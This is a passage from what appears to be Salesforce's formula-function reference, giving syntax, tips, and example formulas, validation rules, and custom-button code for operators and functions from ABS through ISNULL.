Example: Consulting_Days__c * 1200
This formula calculates the number of consulting days times
1200 given that this formula field is a currency data type and
consulting charges a rate of $1200 per day. Note that
Consulting Days is a custom field on opportunities.

Report Example: RowCount * AGE:AVG calculates the record count times the
average age value of all opportunities in your report. This
formula is a number data type that returns a positive or
negative integer or decimal.

/ (Divide)

Description: Divides its values.


Use: value1 / value2 and replace each value with merge
fields, expressions, or other numeric values.
Example: AnnualRevenue/ NumberOfEmployees
This formula calculates the revenue amount per employee
using a currency field on accounts.

IF(NumberOfOpportunities > 0,
NumberOfWonOpportunities /
NumberOfOpportunities, null)

937
Customize Operators and Functions

This formula calculates the win rate of opportunities on a


campaign.

Report Example: % Won Opportunities


WON:SUM / RowCount calculates the percent of Won
opportunities using a record count representing the number
of all opportunities in your report. This formula is a number
data type that returns a positive or negative integer.
% Difference between Cost and Sales Price
(TOTAL_PRICE:SUM - QUANTITY:SUM *
Product2.Cost__c:SUM) / (QUANTITY:SUM *
Product2.Cost__c:SUM) calculates the average percent
difference between what a product costs and its selling price
on a product-by-product level across many opportunities. Note
that Product2.Cost__c:SUM is a custom currency field
named Cost on products, which includes the cost of each
product. This formula is a percent data type that returns a
positive or negative integer. For best results, use this on a
summary Opportunities with Products report that is
summarized by Product Name and includes summary totals
for Quantity, Total Price, and Cost.

^ (Exponentiation)

Description: Raises a number to a power of a specified number.


Use: number^integer and replace number with a merge field,
expression, or another numeric value; replace integer with
a merge field that contains an integer, expression, or any
integer.
Example: NumberOfEmployees^4 calculates the number of employees
to the 4th power.
Report Example: ACTIVE:SUM ^ 2 calculates the number of active
Salesforce.com users to the 2nd power for administration.
This formula is a number data type that returns a positive
integer.
Tips: Avoid replacing integer with a negative number.

() (Open Parenthesis and Close Parenthesis)

Description: Specifies that the expressions within the open parenthesis and
close parenthesis are evaluated first. All other expressions are
evaluated using standard operator precedence.
Use: (expression1) expression2... and replace each
expression with merge fields, expressions, or other numeric
values.

938
Customize Operators and Functions

Example: (Unit_Price__c - Standard_Price__c) /


Sales_Price__c calculates the difference between the list
price and sales price divided by the sales price. As a percent
data type on opportunity products, this calculates the
discounted percent.
Report Example: (DURATIONHOURS:SUM * RowCount) / 24 calculates
the duration of all activities times the record count per 24
hours. This formula is a percent data type that returns a
positive or negative integer or decimal, representing what
percent of a day is spent on activities.

= and == (Equal)

Description: Evaluates if two values are equivalent.


Use: expression1=expression2 or expression1 ==
expression2, and replace each expression with merge
fields, expressions, or other numeric values.
Example: Due Date
Due Date = CreatedDate + 5 assigns a due date that is
five days past the create date.
Commission Amount

IF(Probability =1, ROUND(Amount*0.02, 2),


0)

This formula calculates the 2% commission amount of an


opportunity that has a probability of 100%. All other
opportunities will have a commission value of 0.
Possible results:
• An opportunity with a Probability of 90% will have a
commission of 0.
• An opportunity with a Probability of 100% and an
Amount of $100,000 will have a commission of $2,000.

<> and != (Not Equal)

Description: Evaluates if two values are not equivalent.


Use: expression1 <> expression2 or expression1 !=
expression2, and replace each expression with merge
fields, expressions, or other numeric values.

939
Customize Operators and Functions

Example: IF(Maint_Amount__c + Services_Amount__c<>


Amount,
"DISCOUNTED", "FULL PRICE")

This formula displays “DISCOUNTED” on an opportunity


if its maintenance amount and services amount do not equal
the opportunity amount. Otherwise, displays “FULL PRICE.”
Note that this example uses two custom currency fields for
Maint Amount and Services Amount.

< (Less Than)

Description: Evaluates if a value is less than the value that follows this
symbol.
Use: value1 < value2 and replace each value with merge fields,
expressions, or other numeric values.
Example: IF(AnnualRevenue < 1000000, 1, 2) assigns the value
“1” to accounts with revenues less than one million and the
value “2” to accounts with revenues greater than one million.

> (Greater Than)

Description: Evaluates if a value is greater than the value that follows this
symbol.
Use: value1 > value2 and replace each value with merge fields,
expressions, or other numeric values.
Example: IF(commission__c > 1000000, "High Net Worth",
"General") assigns the “High Net Worth” value to
opportunities with a commission greater than one million.
Note, this is a text formula field on opportunities that uses a
commission custom field.

<= (Less Than or Equal)

Description: Evaluates if a value is less than or equal to the value that


follows this symbol.
Use: value1 <= value2 and replace each value with merge
fields, expressions, or other numeric values.
Example: IF(AnnualRevenue <= 1000000, 1, 2) assigns the
value “1” to accounts with revenues less than or equal to one
million and the value “2” to accounts with revenues greater
than one million.

940
Customize Operators and Functions

>= (Greater Than or Equal)

Description: Evaluates if a value is greater than or equal to the value that


follows this symbol.
Use: value1 >= value2 and replace each value with merge
fields, expressions, or other numeric values.
Example: IF(Commission__c >= 1000000, "YES", "NO")
assigns the “YES” value to opportunities with a commission
greater than or equal to one million. Note, this is a text formula
field on opportunities that uses a custom currency field called
Commission.

&& (AND)

Description: Evaluates if two values or expressions are both true. Use this
operator as an alternative to the logical function AND.
Use: (logical1) && (logical2) and replace logical1 and
logical2 with the values or expressions that you want
evaluated.
Example: IF((Price<100 && Quantity<5),"Small", null)
This formula displays “Small” if the price is less than 100 and
quantity is less than five. Otherwise, this field is blank.

|| (OR)

Description: Evaluates if at least one of multiple values or expressions is


true. Use this operator as an alternative to the logical function
OR.
Use: (logical1) || (logical2) and replace any number of
logical references with the values or expressions you want
evaluated.
Example: IF((ISPICKVAL(Priority, "High")) ||
(ISPICKVAL(Status , "New")),
ROUND(NOW()-CreatedDate, 0), null)
This formula returns the number of days a case has been open
if the Status is new or the Priority is high. If the case
was opened today, this field displays a zero.

941
Customize Operators and Functions

Validation Rule Example: (Discount_Rate__c < 0) || (Discount_Rate__c


> 0.40)

This validation rule formula displays the following error


message when the Discount Rate custom field is not
between 0 and 40%: "Discount Rate cannot exceed 40%."

& (Concatenate)

Description: Connects two or more strings.


Use: string1&string2 and replace each string with merge
fields, expressions, or other values.
Example: "Expense-" & Trip_Name__c & "-" &
ExpenseNum__c
This formula displays the text “Expense-” followed by trip
name and the expense number. This is a text formula field
that uses an expense number custom field.

ABS

Description: Calculates the absolute value of a number. The absolute value


of a number is the number without its positive or negative
sign.
Use: ABS(number) and replace number with a merge field,
expression, or other numeric value that has the sign you want
removed.
Example: ABS(ExpectedRevenue) calculates the positive value of the
Expected Revenue amount regardless of whether it is
positive or negative.

AND

Description: Returns a TRUE response if all values are true; returns a


FALSE response if one or more values are false. Use this
function as an alternative to the operator && (AND).
Use: AND(logical1,logical2,...) and replace
logical1,logical2,... with the values that you want
evaluated.
Formula Field Example: IF(AND(Price<1,Quantity<1),"Small", null)
This formula displays “Small” if the price and quantity are less
than one. This field is blank if the asset has a price or quantity
greater than one.

942
Customize Operators and Functions

BEGINS

Description: Determines if text begins with specific characters and returns


TRUE if it does. Returns FALSE if it does not.
Use: BEGINS(text, compare_text) and replace text,
compare_text with the characters or fields you want to
compare.
Example: IF(BEGINS (Product_type__c, "ICU"),
"Medical", "Technical")
This example returns the text “Medical” if the text in any
Product Type custom text field begins with “ICU.” For all
other products, it displays “Technical.”

Tips: • This function is case sensitive so be sure your


compare_text value has the correct capitalization.
• When using this function in a validation rule or workflow
rule, fields that are blank are considered valid. For example,
if you have a validation rule that tests to see if the serial
number of an asset begins with “3,” all assets that have a
blank serial number are considered valid.

BLANKVALUE

Description: Determines if an expression has a value and returns a substitute expression if it does
not. If the expression has a value, returns the value of the expression.
Use: BLANKVALUE(expression, substitute_expression) and replace expression
with the expression you want evaluated; replace substitute_expression with the
value you want to replace any blank values.
Example: Example 1
BLANKVALUE(Department, “Undesignated”)
This formula returns the value of the Department field if the Department field
contains a value. If the Department field is empty, this formula returns the word
Undesignated.
Example 2
(BLANKVALUE(Payment_Due_Date__c, StartDate +5)
This formula returns the date five days after the contract start date whenever Payment
Due Date is blank. Payment Due Date is a custom date field on contracts.

Tips: • Use BLANKVALUE instead of NULLVALUE in new formulas. BLANKVALUE


has the same functionality as NULLVALUE, but also supports text fields.
Salesforce.com will continue to support NULLVALUE, so you do not need to
change existing formulas.
• A field is not empty if it contains a character, blank space, or zero. For example, a
field that contains a space inserted with the spacebar is not empty.

943
Customize Operators and Functions

• Use the BLANKVALUE function to return a specified string if the field does not
have a value; use the ISBLANK function if you only want to check if the field has
a value.
• If you use this function with a numeric field, the function only returns the specified
string if the field does not have a value and is not configured to treat blank fields as
zeroes.

BR

Description: Inserts a line break in a string of text.


Use: BR()

Example: CASE(ShippingCountry,
"USA",
ShippingStreet & BR() &
ShippingCity & ",
" & ShippingState & " " &
ShippingPostalCode & BR()
& ShippingCountry,
"France",
ShippingStreet & BR() &
ShippingPostalCode & " " &
ShippingCity & BR() &
ShippingCountry, "etc")

This formula field displays a formatted mailing address for a


contact in standard format, including spaces and line breaks
where appropriate depending on the country for the account.

Tips: • Do not remove the parentheses after the function name.


• Keep the parentheses empty. They do not need to contain
a value.
• Remember to surround the BR() with concatenation
operators: &.
• Avoid using this function in mail merge templates.
• This function is not available in s-controls.

CASE

Description: Checks a given expression against a series of values. If the


expression is equal to a value, returns the corresponding result.
If it is not equal to any values, it returns the else_result.
Use: CASE(expression,value1, result1, value2,
result2,..., else_result) and replace expression
with the field or value you want compared to each specified
value. Replace each value and result with the value that must
be equivalent to return the result entry. Replace else_result
with the value you want returned when the expression does
not equal any values.

944
Customize Operators and Functions

Formula Field Example: Days Open for Cases


Use this example of a custom formula field called Days Open
to display different text depending on the number of days a
case has been open:

CASE(Days_Open__c, 3,
"Reassign", 2, "Assign Task", "Maintain")

The following text is displayed:


• “Reassign” for any case open three days.
• “Assign Task” for any case open two days.
• “Maintain” for all other cases.
Last Activity Month
This formula field displays the month of the last account
activity or “None” if there are no activities for the account.

CASE(MONTH(LastActivityDate),
1, "January",
2, "February",
3, "March",
4, "April",
5, "May",
6, "June",
7, "July",
8, "August",
9, "September",
10, "October",
11, "November",
12, "December",
"None")

Default Value Example: Discount Rate


Use the following default value formula to insert a different
discount rate on an opportunity based on the department of
the person creating the opportunity:

CASE(User.Department, "IT", 0.25, "Field",


0.15, 0)

In this example, the formula inserts a discount rate of 25% on


any opportunity created by a user in the “IT” department or
15% on any opportunity created by someone in the “Field”
department. A zero is applied if the creator does not belong
to either of these departments. This is a custom percent field
on opportunities that uses the standard user field
Department.
Product Language
You may want to associate a product with its language so that
your users know the type of documentation or adapter to
include. Use the following default value formula to
automatically set the language of a product based on the

945
Customize Operators and Functions

country of the user creating the product. In this example, the


default value is “Japanese” if the user's country is “Japan” and
“English” if the user's country is “US.” If neither is true, the
default value “unknown” is inserted into the Product
Language field.

CASE($User.Country , "Japan", "Japanese",


"US", "English","unknown")

Tips: • Be sure your value1, value2... expressions are the same


data type.
• Be sure your result1, result2... expressions are the
same data type.
• CASE functions cannot contain functions that return true
or false. Instead, make true or false expressions return
numbers such as:

CASE(1, IF(ISPICKVAL (Term__c, "12"), 1,


0),
12 * Monthly_Commit__c,
IF(ISPICKVAL(Term__c, "24"), 1, 0),
24 * Monthly_Commit__c, 0)

In this formula, Term is a picklist field that is multiplied


by the Monthly Commit whenever it contains the value 1
for true.
• The else_result value is required.
• CASE functions return an error whenever any of the
expressions return an error, regardless of which one should
be returned. For example, CASE(Field__c,"Partner",
"P", "Customer", "C", LEFT(Field__c, -5))
returns an error even if the value of the field is “Partner”
or “Customer” because the last statement is illogical.
• If the field in your CASE function is blank, it returns your
else_result value. For example, this formula:
CASE(Days_Open__c, 3, "Reassign", 2,
"Assign Task", "Maintain") displays “Maintain”
if the Days Open field is blank, 0, or any value other than
2 or 3.
• Use CASE functions to determine if a picklist value is
equal to a particular value. For example the formula
CASE(Term__c, "12", 12 * Monthly_Commit__c,
"24", 24 * Monthly_Commit__c, 0) multiplies
the Monthly Commit amount by 12 whenever the Term
is 12 or multiplies the Monthly Commit amount by 24
whenever the Term is 24. Otherwise, the result is zero.

CEILING

Description: Rounds a number up to the nearest integer.

946
Customize Operators and Functions

Use: CEILING(number) and replace number with the field or


expression you want rounded.
Example: Rounding Up (literal value)

CEILING(2.5)

This formula returns 3, which is 2.5 rounded up to the nearest


number.
Earthquake Magnitude
CEILING(Magnitude__c) returns the value of a formula
number field that calculates the magnitude of an earthquake
up to the nearest integer.

CONTAINS

Description: Compares two arguments of text and returns TRUE if the


first argument contains the second argument. If not, returns
FALSE.
Use: CONTAINS(text, compare_text) and replace text with
the text that contains the value of compare_text.
Example: IF(CONTAINS(Product_Type__c, "part"),
"Parts", "Service")

This formula checks the content of a custom text field named


Product_Type and returns “Parts” for any product with the
word “part” in it. Otherwise, it returns “Service.” Note that
the values are case sensitive, so if a Product_Type field
contains the text “Part” or “PART,” this formula returns
“Services.”

Tips: • This function is case sensitive so be sure your


compare_text value has the correct capitalization.
• When using this function in a validation rule or workflow
rule, fields that are blank are considered valid. For example,
if you have a validation rule that tests to see if the serial
number of an asset contains “A,” all assets that have a blank
serial number are considered valid.
• The CONTAINS function does not support multi-select
picklists. Use INCLUDES to see if a multi-select picklist
has a specific value.

DATE

Description: Returns a date value from year, month, and day values you
enter. Salesforce.com displays an error on the detail page if
the value of the DATE function in a formula field is an invalid
date, such as February 29 in a non-leap year.

947
Customize Operators and Functions

Use: DATE(year,month,day) and replace year with a four-digit


year, month with a two-digit month, and day with a two-digit
day.
Example: DATE(2005, 01, 02) creates a date field of January 2,
2005.

DATEVALUE

Description: Returns a date value for a date/time or text expression.


Use: DATEVALUE(expression) and replace expression with
a date/time or text value, merge field, or expression.
Example: Closed Date
DATEVALUE(ClosedDate) displays a date field based on
the value of the Date/Time Closed field.
Literal Date Value
DATEVALUE("2005-11-15") returns November 15, 2005
as a date value.

Tips: • If the field referenced in the function is not a valid text or


date/time field, the formula field displays #ERROR!
• When entering a date as a literal value, surround the date
with quotes and use the following format:
YYYY-MM-DD, that is, a four-digit year, two-digit
month, and two-digit day.
• If the expression does not match valid date ranges, such
as the MM is not between 01 and 12, the formula field
displays #ERROR!
• Dates and times are always calculated using the user’s time
zone.

DAY

Description: Returns a day of the month in the form of a number between


1 and 31.
Use: DAY(date) and replace date with a date field or value such
as TODAY().
Example: DAY(Code_Freeze__c) returns the day in your custom code
freeze date. Note this does not work on date/time fields.

EXP

Description: Returns a value for e raised to the power of a number you


specify.

948
Customize Operators and Functions

Use: EXP(number) and replace number with a number field or


value such as 5.
Example: Exponent of a Literal Value
EXP(3)
This formula returns the value of e to the third power.
Compound Interest
Principal__c * EXP(Rate__c * Years__c)
This formula calculates the compound interest based on a
custom currency field for principal, custom percent field for
rate, and custom number field for years.

FIND

Description: Returns the position of a string within a string of text


represented as a number.
Use: FIND(search_text, text[, start_num]) and replace
search_text with the string you want to find, replace text
with the field or expression you want to search, and replace
start_num with the number of the character from which to
start searching from left to right.
Example: Street Address
FIND(" ", Street) returns the character position of the
first space in the Street field. You can use this number to
find out the length of the street address as a means of
separating a street address from street name in an address field.
Deriving Website Addresses
SUBSTITUTE(Email, LEFT(Email, FIND("@",
Email)), "www.") finds the location of the @ sign in a
person's email address to determine the length of text to
replace with a “www.” as a means of deriving their website
address.

Tips: • Be sure to remove the brackets, [ and ], from your formula


before validating it.
• If the field referenced in your text parameter is blank,
the formula field displays 0.
• Your search_text parameter is case sensitive and cannot
contain any wildcard characters.
• If your search does not return any results, a 0 displays in
the field.
• The start_num parameter is optional. If you do not enter
a start_num value, the formula uses the value one, or the
first character in the string.
• If your start_num is not greater than zero, a 0 displays
in the field.

949
Customize Operators and Functions

• If your start_num is greater than the length of the text,


a 0 displays in the field.
• When entering your start_num parameter, remember
that some fields like theWebsite field are unique because
a “http://” is automatically appended to the beginning of
the text you enter.
• Note that the first character in a string is designated as
one rather than zero.

FLOOR

Description: Returns a number rounded down to the nearest integer.


Use: FLOOR(number) and replace number with a number field or
value such as 5.245.
Example: Commission Amounts
FLOOR(commission__c) rounds commission down to the
nearest integer.
Contact's Age
FLOOR((TODAY()-Birthdate)/365.2425)
Use this formula to calculate a person’s age based on a standard
field called Birthdate. The person’s Birthdate is
subtracted from today’s date, which returns the number of
days since the person’s Birthdate. This number is divided
by the number of days in a year and rounded down to the
nearest integer.

GETRECORDIDS

Description: Returns an array of strings in the form of record IDs for the
selected records in a list, such as a list view or related list.
Use: {!GETRECORDIDS(object_type)} and replace
object_type with a reference to the custom or standard
object for the records you want to retrieve.

950
Customize Operators and Functions

Custom Button Example: {!REQUIRESCRIPT("/soap/ajax/13.0/connection.js")}

var records =
{!GETRECORDIDS($ObjectType.Case)};
var newRecords = [];

if (records[0] == null)
{
alert("Please select at least one row")
}
else
{
for (var n=0; n<records.length; n++) {
var c = new sforce.SObject("Case");
c.id = records[n];
c.Status = "New";
newRecords.push(c);
}

result =
sforce.connection.update(newRecords);

window.location.reload();
}

In this example, all selected case records are updated with a


Status of “New.” To set this up in your organization, create
a custom list button for cases with the following attributes:
• Display Type is “List Button”
• Behavior is “Execute JavaScript”
• Content Source is “OnClick JavaScript”

Paste the sample code above into the content of your custom
button. Finally, add the list button to the a page layout that
contains the Cases related list, such as accounts or
opportunities. Users can select any number of cases in the
related list and click the list button to change the status of
those cases at once. Notice the check for records[0] ==
null, which displays a message to users when they do not
select at least one record in the list.

Tips: • Use global variables to access special merge fields for


s-controls, custom buttons, and links.
• Activities are special types of objects. Use
{!GETRECORDIDS($ObjectType.Task)} when creating
a task list button. Use
{!GETRECORDIDS($ObjectType.Event)} when creating
an event list button.
• This function is only available in custom buttons, links,
and s-controls.

951
Customize Operators and Functions

GETSESSIONID

Description: Returns the user’s session ID.


Use: GETSESSIONID()

Example: HYPERLINK("https://www.myintegration.com?sId="&
GETSESSIONID() & "?&rowID="&Name &
"action=CreateTask","Create a Meeting
Request") creates a link to an application outside of
Salesforce.com, passing the parameters so that it can connect
to Salesforce.com via the API and create the necessary event.

HTMLENCODE

Description: Encodes text and merge field values for use in HTML by
replacing characters that are reserved in HTML, such as the
greater-than sign (>), with HTML entity equivalents, such as
&gt;.

Use: {!HTMLENCODE(text)} and replace text with the merge


field or text string that contains the reserved characters.
Example: If the merge field foo__c contains <B>Enter the user's
name<b>, {!HTMLENCODE(foo__c)} results in:
&lt;B&gt;Enter the user&#39;s name&lt;/b&gt;

HYPERLINK

Description: Creates a link to a URL specified that is linkable from the text
specified.
Use: HYPERLINK(url, friendly_name [,target]) and
replace url with the Web address, replace friendly_name
with the link text, and, optionally, replace target with the
window or frame in which to display the content.
Example: Creating Events
HYPERLINK("00U/e?retURL=%2F006x0000001T8Om&what_id="
& Id, "Create Event") adds a link called “Create Event”
that, when clicked, creates a new event that is associated with
the current opportunity.
Phone Dialer
HYPERLINK("http://servername/call?id=" & Id
& "&phone=" & Phone, Phone)creates a linkable phone
number field that automatically dials the phone number when
clicked. In this example, replace "servername" and "call"
with the name of your dialing tool and the command it uses
to dial. The merge field, Id, inserts the identifier for the
contact, lead, or account record. The first Phone merge field
tells the dialing tool what number to call and the last Phone

952
Customize Operators and Functions

merge field uses the value of the Phone field as the linkable
text the user clicks to dial.

Tips: • Hyperlink formula fields are of type text.


• Include the protocol and URL in quotes as in
HYPERLINK("http://www.cnet.com", "cnet").
• Avoid using text functions such as LEN, LEFT, or
RIGHT on HYPERLINK function results.
• When linking to Salesforce.com pages, use a relative link,
such as “00U/e?retURL=%...”, for hyperlink formulas
unless you want to add the formula field to a search layout.
Use the complete URL, including the server name and
https://, in a hyperlink formula to add it to a search layout.
Note that formula fields are not available in search result
layouts.
• Use the $Api variable to reference API URLs.
• Be sure to remove the brackets, [ and ], from your formula
before validating it.
• The target parameter is optional. If you do not specify
a target, the link opens in a new browser window. Some
common target parameters are:
_blank
Displays link in a new unnamed window.
_self
Displays link in the same frame or window as the
element that refers to it.
_parent
Displays link in the immediate frameset parent of the
current frame. This value is the same as _self if the
current frame has no parent.
_top
Displays link in the full original window, cancelling
any other frames. This value is the same as _self if
the current frame has no parent.
For more information on basic HTML tags, consult an
HTML reference on the Internet.
• The HYPERLINK function is available everywhere that
you can define a formula except default values, field
updates, s-controls, validation rules, approval processes,
custom buttons and links, and workflow rules.

IF

Description: Determines if expressions are true or false. Returns a given


value if true and another value if false.

953
Customize Operators and Functions

Use: IF(logical_test, value_if_true, value_if_false)


and replace logical_test with the expression you want
evaluated; replace value_if_true with the value you want
returned if the expression is true; replace value_if_false
with the value you want returned if the expression is false.
Formula Field Example: Overdue Payments
IF(AND(Payment_Due_Date__c < TODAY(),
Payment_Status__c ="UNPAID") , "PAYMENT
OVERDUE", null)
This formula determines if the payment due date is past and
the payment status is “UNPAID.” If so, returns the text
“PAYMENT OVERDUE” and if not, leaves the field blank.
This example uses a custom date field called Payment Due
Date and a text custom field called Payment Status on
contracts.
Insert Tax Rate
Use this default value formula to set the tax rate of an asset
based on the user's city. Create a custom percent field with
the following default value:

IF($User.City = "Napa", 0.0750,


IF($User.City = "Paso Robles", 0.0725,
IF($User.City = "Sutter Creek", 0.0725,
IF($User.City = "Los Olivos", 0.0750,
IF($User.City = "Livermore", 0.0875,
null
)
)
)
)
)

Custom Button Example: {!


IF(Account.BillingCountry = "US",
"http://maps.google.com/maps?q=
"&Account.BillingStreet&
"+"&Account.BillingCity&"+
"&Account.BillingState&"+
"&Account.BillingCountry,
(IF(Account.BillingCountry = "UK",
"http://maps.google.co.uk/maps?q=
"&Account.BillingStreet
&"+"&Account.BillingCity&"+
"&Account.BillingCountry,
"http://maps.google.com")))
}

This example uses the IF function to determine if an address


is in the United States or United Kingdom so that it can use
the appropriate type of Google map to display the address.

Tips: • Make sure your value_if_true and value_if_false


expressions are the same data type.

954
Customize Operators and Functions

• When using an IF function with the $Profile.UserType


variable to determine the type of Salesforce.com user
license the logged in user has, use the following values:
- Standard for Salesforce
- PowerPartner for PRM User
- CustomerSuccess for Customer Portal User
- PowerCustomerSuccess for Customer Portal Manager
For example, use the following formulas to determine if
the logged in user has the license type in quotes:

IF(ISPICKVAL($Profile.UserType
,"Standard"), 100, 0.1)

IF(ISPICKVAL($Profile.UserType
,"PowerPartner"), 100, 0.1)

IF(ISPICKVAL($Profile.UserType
,"CustomerSuccess"), 100, 0.1)

Note: $Profile merge fields are only available in


Enterprise, Unlimited, and Developer Editions.

IMAGE

Description: Inserts an image with alternate text and height/width


specifications.
Use: IMAGE(image_url, alternate_text, height,
width) and replace image_url with the full path to the
image; replace alternate_text with the string of text you
want displayed when you hover your mouse over the image;
replace height with the vertical size of the image in pixels;
replace width with the horizontal size of the image in pixels.
Example: HYPERLINK("ymsgr:sendIM?" & Yahoo_Name__c,
IMAGE("http://opi.yahoo.com/online?u=" &
Yahoo_Name__c & "&m;=g&t;=0", "Yahoo"))
This formula displays a clickable Yahoo! Messenger icon
indicating if the person is logged on to the service. Users can
click the icon to launch a Yahoo! Messenger conversation with
the person. This example uses a custom text field called Yahoo
Name on contacts where you can store the contact's Yahoo!
Messenger ID.

Tips: • The height and width parameters are optional.


• Use a text string to replace the image_url and
alternate_text parameters. Surround each text string
in quotes.

955
Customize Operators and Functions

• Use numbers to replace the height and width


parameters.
• Add images to your Documents tab if you want to display
them elsewhere. For example, store the image of a product
in a document folder, copy the URL to the document, and
paste that URL in the image_url parameter of a formula
field on the Products tab.
• If you use Internet Explorer, you may need to change your
security settings so that it does not display a warning
prompt when images use HTTP protocol. See the online
help for Internet Explorer for instructions on changing
your security settings.
• The IMAGE function cannot include the
GETSESSIONID function as one of its arguments.
• The IMAGE function is available everywhere that you
can define a formula except default values, field updates,
s-controls, validation rules, approval processes, and
workflow rules.

INCLUDE

Description: Returns content from an s-control snippet. Use this function


to reuse common code in many s-controls.
Use: {!INCLUDE(source, [inputs])} and replace source
with the s-control snippet you want to reference. Replace
inputs with any information you need to pass to the snippet.

S-Control Example: Including Header Snippet

<html>
<body>
{! INCLUDE($SControl.Header_Snippet,
[title = "My Title", theme = "modern"])}
</body>
</html>

This example references a snippet that provides a header for


a page that you created to display in a Web tab. It displays the
page title “My Title.” Use the $SControl global variable to
reference a custom s-control.
Including Input Parameters
Use the following two examples to see how you can create a
reusable snippet and include it in an s-control.

<h2 class=”{!$Request.titleTheme}.title”>
{!$Request.titleText}</h2>

This snippet requires two input parameters: titleTheme and


titleText. It is a reusable HTML tag that presents a page

956
Customize Operators and Functions

title and theme based on input parameters. Next, create an


s-control that includes this snippet:

<html>
<head>
</head>
<body>
{! INCLUDE($SControl.Title_Snippet,
[titleTheme = "modern", titleText = "My
Sample Title"]) }

... Insert your page specific content here


...

</body>
</html>

This s-control uses the snippet titled Title_Snippet to display


the title of the page “My Sample Title” and modern theme.
Replace Insert your page specific content here
with your own HTML content and use the s-control as the
source of a Web tab to create your own pages in
Salesforce.com.

Tips: • Because this function references an s-control snippet and


does not copy it, it always runs the latest content of the
s-control snippet. Remember when making a change to
your s-control snippet that it affects all INCLUDE
functions that refer to it.
• Use the $Request global variable to access any information
inside the snippet.
• This function is only available in custom buttons, links,
and s-controls.

INCLUDES

Description: Determines if any value selected in a multi-select picklist field equals a text
literal you specify.
Use: INCLUDES(multiselect_picklist_field, text_literal) and replace
multiselect_picklist_field with the merge field name for the multi-select
picklist; and replace text_literal with the multi-select picklist value you
want to match in quotes.
Examples: INCLUDES(Hobbies__c, "Golf") returns TRUE if one of the selected
values in the Hobbies custom multi-select picklist field is Golf.
Tips: • The text_literal expression must be of type text and enclosed in quotes.
It cannot be a merge field or the result of a function.
• Salesforce.com returns an error if any of the following occurs:
- You do not provide a text_literal expression.
- You provide an empty text_literal expression, such as "" or " ".

957
Customize Operators and Functions

• Use ISNULL to determine if a multi-select picklist field is empty.


• Use the PRIORVALUE function inside the INCLUDES function to check
if the previous value of a multi-select picklist field included a specific value.
For example:

INCLUDES(
PRIORVALUE(multiselect_picklist_field),text_literal
)

ISBLANK

Description: Determines if an expression has a value and returns TRUE if


it does not. If it contains a value, this function returns FALSE.
Use: ISBLANK(expression) and replace expression with the
expression you want evaluated.
Example: (IF(ISBLANK(Maint_Amount__c), 0, 1) +
IF(ISBLANK(Services_Amount__c), 0,1) +
IF(ISBLANK(Discount_Percent__c), 0, 1) +

IF(ISBLANK(Amount), 0, 1) +
IF(ISBLANK(Timeline__c), 0, 1)) / 5

This formula takes a group of opportunity fields and calculates


what percent of them are being used by your sales personnel.
This formula field checks five fields to see if they are blank.
If so, a zero is counted for that field. A “1” is counted for any
field that contains a value and this total is divided by five (the
number of fields evaluated). Note that this formula requires
you select the Treat blank fields as blanks option
under Blank Field Handling while the Advanced Formula
subtab is showing.

Tips: • Use ISBLANK instead of ISNULL in new formulas.


ISBLANK has the same functionality as ISNULL, but
also supports text fields. Salesforce.com will continue to
support ISNULL, so you do not need to change any
existing formulas.
• A field is not empty if it contains a character, blank space,
or zero. For example, a field that contains a space inserted
with the spacebar is not empty.
• Use the BLANKVALUE function to return a specified
string if the field does not have a value; use the ISBLANK
function if you only want to check if the field has a value.
• If you use this function with a numeric field, the function
only returns TRUE if the field has no value and is not
configured to treat blank fields as zeroes.

958
Customize Operators and Functions

ISCHANGED

Description: Compares the value of a field to the previous value and returns
TRUE if the values are different. If the values are the same,
this function returns FALSE.
Use: ISCHANGED(field) and replace field with the name of
the field you want to compare.
Validation Rule Example: The following validation rule prevents users from changing
an opportunity name after it has been created:
NOT(ISCHANGED(Name)).
NOT(AND(ISCHANGED(Priority),
ISPICKVAL(Priority, “Low”))) is a validation rule that
ensures if a user changes the Priority of a case, the new
priority cannot be “Low.”
NOT(AND(ISCHANGED(CloseDate),
OR(MONTH(CloseDate) <> MONTH(TODAY()),
YEAR(CloseDate) <>
YEAR(TODAY())),$Profile.Name <> "Sales
Manager")) is a validation rule that prevents a user from
changing the Close Date of an opportunity to a date outside
of the current month and year unless that user has the “Sales
Manager” profile.
Note: $Profile merge fields are only available in
Enterprise, Unlimited, and Developer Editions.

Tips: • This function is available only in:


- Assignment rules
- Validation rules
- Field updates
- Workflow rules if the trigger type is set to Every
time a record is created or edited.

• Use the NOT function to reverse the return values of


TRUE and FALSE.
• This function returns FALSE when evaluating any field
on a newly created record.
• If a text field was previously blank, this function returns
TRUE when it contains any value.

• For number, percent, or currency fields, this function
returns TRUE when:
- The field was blank and now contains any value
- The field was zero and now is blank
- The field was zero and now contains any other value

959
Customize Operators and Functions

ISNEW

Description: Checks if the formula is running during the creation of a new


record and returns TRUE if it is. If an existing record is being
updated, this function returns FALSE.
Use: ISNEW()

Validation Rule Example: Use the following validation rule to prevent users from creating
opportunities with a close date in the past. AND (ISNEW(),
CloseDate < TODAY()) checks if the user is creating a
new opportunity and, if so, ensures that the Close Date is
today or after today.
Use this validation rule to ensure users add at least one product
to an opportunity after they have created it.

NOT(OR(ISNEW(),HasOpportunityLineItem))

In this example, the validation rule formula displays the


following error message when an existing opportunity does
not have any products: “You must add products to this
opportunity before saving.” This does not display an error on
the initial save because they cannot add products until after
saving the record initially; but it prevents them from resaving
or closing an opportunity that does not contain products.

Tips: • This function is available only in validation rules, field


updates, and workflow rules.
• Use the NOT function to reverse the return values of
TRUE and FALSE.
• This function always returns FALSE when used in a
workflow rule with a time-based trigger.
• This function always returns FALSE when used in a field
update for an approval action.

ISNULL

Description: Determines if an expression is null (blank) and returns TRUE


if it is. If it contains a value, this function returns FALSE.
Note: Use ISBLANK instead of ISNULL in new
formulas. ISBLANK has the same functionality as
ISNULL, but also supports text fields. Salesforce.com
will continue to support ISNULL, so you do not need
to change any existing formulas.

Use: ISNULL(expression) and replace expression with the


expression you want evaluated.

960
Customize Operators and Functions

Example: (IF(ISNULL(Maint_Amount__c), 0, 1) +
IF(ISNULL(Services_Amount__c), 0,1) +
IF(ISNULL(Discount_Percent__c), 0, 1) +
IF(ISNULL(Amount), 0, 1) +
IF(ISNULL(Timeline__c), 0, 1)) / 5

This formula takes a group of opportunity fields and calculates


what percent of them are being used by your sales personnel.
This formula field checks five fields to see if they are blank.
If so, a zero is counted for that field. A “1” is counted for any
field that contains a value and this total is divided by five (the
number of fields evaluated). Note that this formula requires
you select the Treat blank fields as blanks option
under Blank Field Handling while the Advanced Formula
subtab is showing.

Validation Rule Example: AND(ISPICKVAL(StageName, "Closed Won"),
